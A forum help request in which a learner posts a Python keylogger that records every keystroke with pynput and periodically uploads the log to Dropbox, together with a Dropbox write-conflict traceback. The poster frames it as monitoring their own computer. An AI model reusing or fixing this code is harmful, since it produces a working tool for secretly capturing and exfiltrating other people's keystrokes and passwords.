Getting error from previously working code

Joined
Mar 5, 2017
Messages
1
Reaction score
0
This is a program I am currently making to moniter my computer and send logs to my dropbox, so far it has worked but now my dropbox code is breaking for whatever reason, I believe because it is opened by the script already, and logging keys. so my dropbox script cannot send it because its already in use. that's my guess at least, I know the code is sloppy but I'm still learning and id like to think ive come far with this project. Thanks

import dropbox, logging, win32gui, os, random, time, datetime, threading, datetime, sys, shutil
from pynput.keyboard import Key, Listener
log_dir = ""
log_file = "C:/Users/16endbre/Desktop/test.txt"
dbx = dropbox.Dropbox("MY_AUTH_TOKEN")
title = win32gui
string = "[Start of logs]\n"
start_time = time.time()

#def OnMouseEvent(event):
logging.basicConfig(filename=(log_dir + log_file), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
if (time.time() - start_time) > 10:
with open(log_file, "rb") as f:
dbx.files_upload(f.read(), '/test.txt', mute=True)
print(time.time() - start_time)




with Listener(on_press=on_press) as listener:
listener.join()




error stack from running above code>>
Traceback (most recent call last):
File "C:\Users\16endbre\Desktop\tester.py", line 23, in <module>
listener.join()
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 180, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\six.py", line 685, in reraise
raise value.with_traceback(tb)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 136, in inner
f(self, *args, **kwargs)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\keyboard\_win32.py", line 211, in _process
self.on_press(key)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 67, in inner
if f(*args) is False:
File "C:\Users\16endbre\Desktop\tester.py", line 16, in on_press
dbx.files_upload(f.read(), '/test.txt', mute=True)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\dropbox\base.py", line 1252, in files_upload
f,
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\dropbox\dropbox.py", line 272, in request
user_message_locale)
dropbox.exceptions.ApiError: ApiError('8f8c40eabeabdcd72803dc0efd153b9a', UploadError('path', UploadWriteFailed(reason=WriteError('conflict', WriteConflictError('file', None)), upload_session_id='AAAAAAAAACAkuKJ7f4AEig')))
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

Forum statistics

Threads
473,734
Messages
2,569,441
Members
44,832
Latest member
GlennSmall

Latest Threads

Top